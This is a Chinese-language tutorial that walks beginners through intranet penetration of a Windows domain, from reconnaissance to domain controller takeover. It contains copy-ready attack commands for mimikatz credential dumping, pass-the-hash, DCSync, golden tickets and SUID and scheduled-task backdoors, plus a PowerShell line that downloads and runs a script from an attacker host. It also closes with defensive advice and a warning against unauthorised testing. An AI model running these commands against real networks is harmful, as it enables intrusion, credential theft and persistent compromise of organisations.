内网渗透实战指南：从信息收集到域控攻防的完整技术链条

1. 从“门外汉”到“敲门人”：内网攻防的认知重塑

很多刚接触安全的朋友，一听到“内网渗透”就觉得高深莫测，仿佛需要掌握无数种神秘工具和魔法般的命令。实际上，内网攻防的本质，是一场关于信息、权限和信任关系的“寻宝”与“破门”游戏。你不需要一开始就成为无所不能的黑客，而是需要先成为一名合格的“侦察兵”和“锁匠”。这篇内容，就是为你准备的从零开始的实战地图，我会带你绕过那些华而不实的理论堆砌，直接切入核心的实战逻辑和操作链条。无论你是想从事安全运维、渗透测试，还是单纯想理解自家网络到底有多脆弱，这篇超过5000字的保姆级指南，都能让你对内网攻防建立起清晰、可落地的认知体系。

简单来说，内网渗透的目标，就是从外部或内部的一个初始立足点（比如一台被控制的员工电脑），逐步探索、控制整个内部网络，最终拿到核心资产（如数据库服务器、域控制器）的权限。这个过程充满了不确定性，更像是在一个黑暗的迷宫里，用手电筒一点点照亮前路，寻找钥匙和下一扇门。我们将要拆解的，就是如何点亮第一盏灯，以及如何系统地找到所有隐藏的门。

2. 内网渗透全景图：核心思路与阶段拆解

在真正动手之前，我们必须建立一个宏观的、分阶段的作战视图。盲目地执行命令就像在黑暗中乱撞，效率极低且容易被发现。一个经典的内网渗透流程可以划分为四个核心阶段，我习惯称之为“侦查-立足-扩展-控制”循环。

2.1 信息收集：你的“雷达”与“地图”

这是所有行动的起点，也是决定后续路径是否高效的关键。信息收集的目标是回答几个核心问题：我在哪？周围有什么？哪些目标看起来比较脆弱？这里分为本地信息收集和网络信息收集。

本地信息收集，就是搞清楚你当前控制的这台机器（我们称之为“跳板机”或“初始立足点”）的所有情况。在Windows系统上，你需要关注：当前用户是谁？是普通用户还是管理员？系统是什么版本？安装了哪些软件和补丁？网络配置如何（IP、网关、DNS）？有没有其他用户登录？在Linux/Unix系统上，则要查看用户ID、sudo权限、计划任务、历史命令等。我常用的命令组合包括whoami /all、systeminfo、ipconfig /all、netstat -ano（Windows），以及id、uname -a、ifconfig或ip addr、netstat -tulnp、ps aux（Linux）。这些信息能帮你判断当前权限的高低，以及可能存在的横向移动机会（比如发现其他用户的会话）。

网络信息收集，则是以当前机器为据点，探测整个内网环境。这包括发现存活的主机、识别开放的端口和服务、绘制网络拓扑。最基础的工具就是ping扫存活主机，但更高效的是使用nmap。例如，一个简单的内网C段扫描命令是nmap -sn 192.168.1.0/24。发现存活主机后，再对其进行端口扫描和服务识别：nmap -sV -sC -O -p- 192.168.1.100。-sV探测服务版本，-sC使用默认脚本扫描，-O尝试识别操作系统，-p-扫描所有65535个端口。记住，在内网中，扫描行为相对“温和”，但仍需注意频率，避免触发基于流量的异常检测。

注意：信息收集不是一次性动作，而应贯穿整个渗透过程。每获得一个新权限、进入一个新网段，都要立即重新执行信息收集，更新你的“战场地图”。

2.2 权限提升：从“访客”到“管理员”

拿到一个普通用户权限后，下一步就是想方设法提升到最高权限（Windows的SYSTEM/NT AUTHORITY，Linux的root）。这是内网横向移动的基石，因为很多攻击手法（如抓取密码哈希、安装后门）都需要高权限。

Windows提权思路主要围绕系统漏洞、服务配置错误、计划任务、AlwaysInstallElevated策略、令牌滥用等。首先，用systeminfo查看系统补丁情况，然后使用诸如Windows-Exploit-Suggester或wesng等工具，将补丁列表与公开的漏洞库比对，寻找缺失补丁对应的本地提权EXP。此外，要仔细检查服务的权限：accesschk.exe -uwcqv "Authenticated Users" * /accepteula（来自Sysinternals套件）可以查看哪些服务允许认证用户修改，如果某个服务路径可写，我们就可以替换其二进制文件实现提权。对于快速检查，我常运行powerup.ps1（PowerSploit框架的一部分）脚本，它能自动识别多种常见的配置缺陷。

Linux提权的常见途径包括：内核漏洞（通过uname -a查看内核版本后寻找EXP）、SUID/GUID文件滥用（find / -perm -u=s -type f 2>/dev/null）、sudo权限滥用（sudo -l）、计划任务（crontab -l，查看/etc/crontab）、环境变量劫持等。一个非常好用的自动化信息收集脚本是linpeas.sh，它运行后会高亮显示可能的提权路径。例如，如果发现一个以root权限运行、且用户对其路径有写权限的定时任务，我们就可以替换该任务执行的脚本或二进制文件。

2.3 横向移动：在迷宫中的穿行

这是内网渗透最核心、也最体现技术含量的环节。目标是从已控制的机器A，移动到网络内未被控制的机器B。主要依赖以下几种技术：

1. 口令哈希传递攻击：在Windows域环境中，这是最经典的横向移动手段。当你抓取到一台机器的本地管理员密码哈希（NTLM Hash）后，如果内网其他机器使用了相同的本地管理员密码，你就可以直接使用该哈希进行身份验证，而无需破解明文密码。工具如psexec、wmiexec、smbexec的哈希传递模式。命令形如：psexec.exe -hashes :[NTLM_Hash] \\目标IP cmd。抓取哈希的工具首选mimikatz（privilege::debug+sekurlsa::logonpasswords），但在高版本系统上需要绕过LSA保护等限制。

2. 票据传递攻击：主要针对Kerberos协议。在域环境中，你可以窃取已认证用户的Kerberos票据（TGT或ST），然后用它来访问其他服务。黄金票据和白银票据是其中的高级形式。使用mimikatz的kerberos::list可以查看当前票据，kerberos::ptt可以将票据注入内存。这种攻击隐蔽性较强，因为利用了合法的认证协议。

3. 利用漏洞与服务攻击：直接利用目标机器上服务（如SMB、RDP、MySQL、Redis）的漏洞进行攻击。例如，历史上著名的MS17-010（永恒之蓝）漏洞，就可以通过metasploit的exploit/windows/smb/ms17_010_eternalblue模块进行利用。或者，如果发现Redis服务未授权访问，可以直接写入计划任务或SSH公钥获取权限。

4. 社会工程学与鱼叉攻击：制作一个包含恶意宏的Office文档，或者一个捆绑后门的“正常软件”，通过邮件、内部通讯工具发送给目标用户。这需要一定的诱饵制作和话术技巧。

横向移动时，网络拓扑至关重要。你需要判断当前所处的网段，是否存在多网卡机器（双网卡主机可能横跨两个网络区域），并利用它作为跳板，进一步探测和攻击其他网段。工具如reGeorg、EarthWorm、frp等可以帮你建立 socks 代理通道，让你的攻击流量能够通过跳板机抵达更深层的内网。

2.4 权限维持：留下你的“后门”

费尽千辛万苦拿到权限，绝不能因为目标机器重启或密码更改而丢失。权限维持的目标是建立持久、隐蔽的访问通道。

Windows下的后门方式多样：注册表启动项、计划任务、服务、WMI事件订阅、启动文件夹、影子账户、ACL后门等。例如，通过计划任务创建一个每分钟执行一次的后门：schtasks /create /tn "Backdoor" /tr "C:\shell.exe" /sc minute /mo 1。更隐蔽的方式是使用msfvenom生成一个持久化 payload，并结合meterpreter的persistence模块。对于域环境，还可以考虑创建隐藏的域账户，或给现有账户添加额外的权限。

Linux下的后门常见于：cron计划任务、ssh公钥注入、.bashrc或.profile等shell配置文件、添加SUID权限的shell、预加载动态库等。例如，在目标用户的~/.ssh/authorized_keys文件中写入你的公钥，即可实现免密ssh登录。或者，创建一个具有SUID权限的bash副本：cp /bin/bash /tmp/.bash && chmod 4755 /tmp/.bash，之后执行/tmp/.bash -p即可获得root shell。

权限维持的关键在于隐蔽性和稳定性。要避免使用常见的文件名、路径和端口，并考虑对抗常见的杀毒软件和EDR产品的手段，例如代码混淆、内存注入、无文件攻击等。

3. 实战环境搭建与核心工具链解析

理论说得再多，不如亲手搭建一个环境来练手。我强烈建议你在一个完全隔离的虚拟环境中进行学习，例如使用 VMware 或 VirtualBox。

3.1 靶场环境搭建

对于初学者，最快捷的方式是使用现成的漏洞靶场。Metasploitable 2/3是一个故意设计存在大量漏洞的Linux/Windows系统，非常适合练习基础漏洞利用和服务攻击。DVWA、OWASP WebGoat则侧重于Web漏洞。但对于内网渗透，你需要一个模拟的域环境。

这里我推荐FLARE VM与Commando VM作为攻击机（集成了几乎所有安全工具），搭配Windows Server虚拟机（安装Active Directory域服务角色）来创建域控制器，再创建几个加入域的Windows 10/11客户机作为靶机。你可以手动在客户机上配置一些漏洞，比如设置弱口令、开启有漏洞的SMBv1协议、安装存在漏洞的旧版软件等。

更便捷的选择是使用Attack-Defense实验室或HackTheBox、TryHackMe上的某些内网挑战场景，它们提供了完整的在线环境。但本地虚拟环境能让你更自由地反复重置、调试和尝试。

3.2 Kali Linux与核心工具入门

Kali Linux是渗透测试的标准发行版，预装了海量工具。但对于内网渗透，你不需要掌握所有，聚焦核心工具链即可。

信息收集与扫描：

• Nmap：端口扫描之王。必须熟练掌握其各种扫描技术（-sSSYN扫描,-sTTCP连接扫描,-sUUDP扫描）和脚本引擎（--script）。例如，nmap --script smb-vuln-ms17-010 192.168.1.0/24可以快速扫描整个网段是否存在永恒之蓝漏洞。
• Netdiscover：用于局域网内的主动/被动ARP侦查，快速发现存活主机。
• enum4linux/ldapsearch：专门用于枚举SMB共享和LDAP（Active Directory）信息，在域环境中极其有用。

漏洞利用与框架：

• Metasploit Framework (MSF)：最强大的渗透测试框架。你需要理解其核心概念：exploit（利用模块）、payload（载荷）、session（会话）。学会使用search命令查找模块，use使用模块，set设置参数，run或exploit执行。MSF的meterpreter是一个功能强大的内存驻留后门，提供了文件系统操作、权限提升、键盘记录、跳板等多种功能。
• Searchsploit：离线漏洞库查询工具，配合nmap的服务版本识别，可以快速查找公开的EXP。

密码攻击与哈希处理：

• Hydra：在线密码爆破工具，支持多种协议（SSH, RDP, FTP, HTTP表单等）。使用时要谨慎，避免触发账户锁定策略。命令示例：hydra -l admin -P passlist.txt ssh://192.168.1.100。
• John the Ripper/Hashcat：离线密码破解工具。当你抓取到密码哈希后，用它们进行破解。Hashcat支持GPU加速，速度更快。你需要准备一个强大的密码字典。

Windows域渗透神器：

• Impacket：一个Python编写的工具套件，包含了大量针对Windows协议（SMB, MSSQL, LDAP, Kerberos）的渗透工具。如psexec.py、wmiexec.py、smbexec.py用于横向移动，secretsdump.py用于远程Dump哈希，ntlmrelayx.py用于NTLM中继攻击。它是命令行下的“瑞士军刀”。
• Mimikatz：Windows密码抓取和票据操作的神器。由于其功能强大，几乎所有EDR都会重点监控。因此在实际高对抗环境中，需要使用其衍生版本或内存注入等方式绕过检测。
• BloodHound/Sharphound：用于攻击Active Directory的“地图导航”。Sharphound收集器在域内机器上运行，收集用户、组、计算机、权限关系等数据，然后导入BloodHound图形化界面进行分析，它能直观地展示出从某个起点到域管理员的最短攻击路径，极大提升了渗透效率。

代理与隧道工具：

• Proxychains：让命令行工具通过socks代理进行网络请求。配置好/etc/proxychains4.conf后，在命令前加上proxychains即可，如proxychains nmap -sT -Pn 10.10.10.10。
• EarthWorm (ew)/Frp/Ngrok：用于建立端口转发和socks代理，穿透内网边界。例如，在一台有公网IP的VPS和内网跳板机上分别运行ew的服务端和客户端，即可在VPS上获得一个通往内网的socks5代理。

4. 从零到一的完整实战模拟：攻击一个简单的域环境

假设我们通过一次钓鱼攻击，获得了一台域成员主机WORKSTATION01的普通用户权限（用户zhangsan）。现在，我们以此为例，串联起整个流程。

4.1 第一步：初始立足与信息收集

1. 获取Shell：我们通过恶意文档获得了zhangsan的 shell。首先进行本地信息收集。

   # 在获得的命令行或meterpreter会话中执行 whoami net user zhangsan /domain # 查看域用户信息 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 查看系统版本 ipconfig /all # 查看网络配置，注意IP、DNS（DNS服务器通常是域控制器） net localgroup administrators # 查看本地管理员组

   发现zhangsan是本地普通用户，DNS服务器指向192.168.10.10，这很可能就是域控制器。

2. 内网探测：

   # 上传nmap到目标，或使用meterpreter的端口扫描模块 # 假设我们上传了nmap nmap -sn 192.168.10.0/24 # 发现存活主机，包括192.168.10.10(DC), 192.168.10.20, 192.168.10.30 nmap -sV -p 53,88,135,139,445,389,636 192.168.10.10 # 扫描DC的关键端口

   确认192.168.10.10开放了53(DNS), 88(Kerberos), 445(SMB), 389(LDAP)等端口，确定其为域控制器DC01.corp.com。

4.2 第二步：权限提升与凭证窃取

1. 本地提权尝试：运行PowerUp.ps1脚本检查配置缺陷。

   # 在powershell中导入并执行 IEX (New-Object Net.WebClient).DownloadString('http://你的攻击机/PowerUp.ps1') Invoke-AllChecks

   假设发现一个服务路径可写，我们利用它替换服务二进制文件，成功获得SYSTEM权限。

2. 抓取密码哈希与票据：以SYSTEM权限运行 mimikatz。

   # 在meterpreter中加载mimikatz，或直接上传mimikatz.exe执行 privilege::debug sekurlsa::logonpasswords # 抓取内存中的明文密码和哈希 sekurlsa::tickets /export # 导出内存中的Kerberos票据

   幸运地抓取到了本地管理员Administrator的NTLM哈希，以及域用户zhangsan的TGT票据。

4.3 第三步：横向移动

1. 哈希传递攻击：我们发现内网另一台主机FILESERVER01 (192.168.10.20)。尝试使用抓取到的本地管理员哈希（假设内网机器有相同的本地管理员密码）进行横向移动。

   # 使用impacket的psexec python3 psexec.py -hashes :[NTLM_Hash] administrator@192.168.10.20

   成功获得FILESERVER01的SYSTEM权限shell。

2. 票据传递攻击：在FILESERVER01上，我们需要访问域控制器上的某个服务（如CIFS共享）。我们将之前导出的zhangsan的TGT票据注入内存。

   # 在FILESERVER01上运行mimikatz kerberos::ptt zhangsan@krbtgt-CORP.COM.kirbi # 然后尝试访问DC的共享 dir \\DC01.corp.com\c$

   如果zhangsan有权限，访问将成功。

3. 利用BloodHound寻找路径：在WORKSTATION01上运行Sharphound收集器，将数据传回攻击机，导入BloodHound。图形化界面可能显示，FILESERVER01的某个服务账户对域控制器拥有“GenericAll”权限，这为我们提供了直接攻击DC的路径。

4.4 第四步：攻陷域控制器与权限维持

1. DCSync攻击：通过BloodHound发现，我们控制的FILESERVER01上的某个账户具有复制域目录数据的权限（如域管理员组成员的密码哈希）。我们可以使用 mimikatz 的 DCSync 功能直接模拟域控制器，请求同步指定用户的哈希。

   # 在已获得域内足够权限的会话中执行mimikatz lsadump::dcsync /domain:corp.com /user:Administrator

   成功获取域管理员Administrator的NTLM哈希。

2. 黄金票据攻击：利用抓取到的krbtgt用户的哈希（来自DCSync），我们可以伪造任意用户的TGT票据（黄金票据），从而获得域内任何服务的访问权限。

   kerberos::golden /user:fakeadmin /domain:corp.com /sid:[Domain_SID] /krbtgt:[krbtgt_NTLM_Hash] /ptt

   伪造成功后，使用dir \\DC01.corp.com\c$验证，此时已具备域管理员权限。

3. 建立持久化后门：

   • 黄金票据本身就是一个持久化手段，只要krbtgt账户的密码不更改（默认180天），票据就有效。
   • 在域控制器上创建隐藏的域管理员账户，并将其添加到受保护的组中。
   • 在域策略中设置登录脚本，或者部署一个域级别的计划任务，定期从外网拉取并执行后门。

至此，我们完成了一次从普通域用户到完全控制域环境的模拟渗透。这个过程清晰地展示了信息收集、提权、横向移动、权限维持的循环递进关系。

5. 常见问题、防御视角与避坑指南

在实际操作中，你会遇到各种各样的问题。这里记录一些典型的“坑”和解决思路。

5.1 实战中常见问题速查

5.2 从防御者视角理解攻击

真正精通渗透，必须理解防御逻辑。只有这样，你的攻击才能更有针对性，绕过检测。

• 网络分段与隔离：这是最有效的防御手段之一。将核心资产（域控、数据库、财务系统）放在独立的、访问控制严格的网段，即使攻击者突破办公网，也很难直接触及核心。
• 最小权限原则：无论是用户账户还是服务账户，只赋予其完成工作所必需的最小权限。避免使用域管理员账户登录普通工作站，禁用本地管理员账户的共享。
• 强密码与多因素认证：强制使用长且复杂的密码，并定期更换。对关键系统（如VPN、堡垒机、云平台）启用多因素认证。
• 补丁管理与漏洞扫描：及时安装系统和应用补丁。定期进行漏洞扫描，重点关注面向外网的服务和内部的高危服务（如SMB、RDP）。
• 日志监控与威胁狩猎：集中收集和分析安全日志（Windows事件日志、Sysmon日志、防火墙日志）。部署EDR/NDR产品，监控异常行为，如异常的横向移动流量（SMB/WMI连接）、哈希传递攻击特征、PsExec的非正常使用等。
• 禁用过时和不必要的协议：在内网中，如非必要，禁用SMBv1、LLMNR、NetBIOS等易受攻击的协议。

5.3 给新手的避坑心得

1. 环境隔离是第一要务：永远在虚拟机或专属的物理隔离网络中练习。不要在任何生产环境或他人的网络中进行未经授权的测试，这是法律底线。
2. 工具不是魔法：不要死记硬背命令。理解每个工具背后的原理（它在利用什么协议？触发什么函数？），这样才能在工具失效时自己变通。
3. 信息收集要耐心细致：渗透中80%的时间可能都在做信息收集。遗漏一个关键信息（比如一个备份服务器的IP，一个服务账户的权限），可能导致整个攻击链中断。
4. 保持隐蔽，降低噪音：在真实场景中，扫描和爆破要慢，尽量使用合法的协议和工具进行伪装。高频率的扫描和大量的失败登录尝试会迅速触发告警。
5. 文档和笔记是你的最佳伙伴：记录每一步的操作、命令、结果和思路。这不仅能帮助你在复杂的渗透中理清头绪，也是事后复盘和撰写报告的唯一依据。
6. 从防御中学攻击：多看看安全厂商的威胁分析报告、ATT&CK攻击矩阵。了解防御者关注什么，你才能更好地隐藏自己。

内网渗透是一个需要大量实践、不断试错和深度思考的领域。这篇指南为你铺开了从零到一的地图，但路上的每一个关卡，都需要你亲手去攻克。从搭建第一个靶场开始，反复练习每一个步骤，理解每一次成功或失败背后的原因，你会逐渐建立起自己的“内网直觉”。记住，最高的技巧不是掌握了最炫酷的漏洞利用，而是拥有在复杂、受限的环境中，依然能冷静分析、灵活变通、持续前进的能力。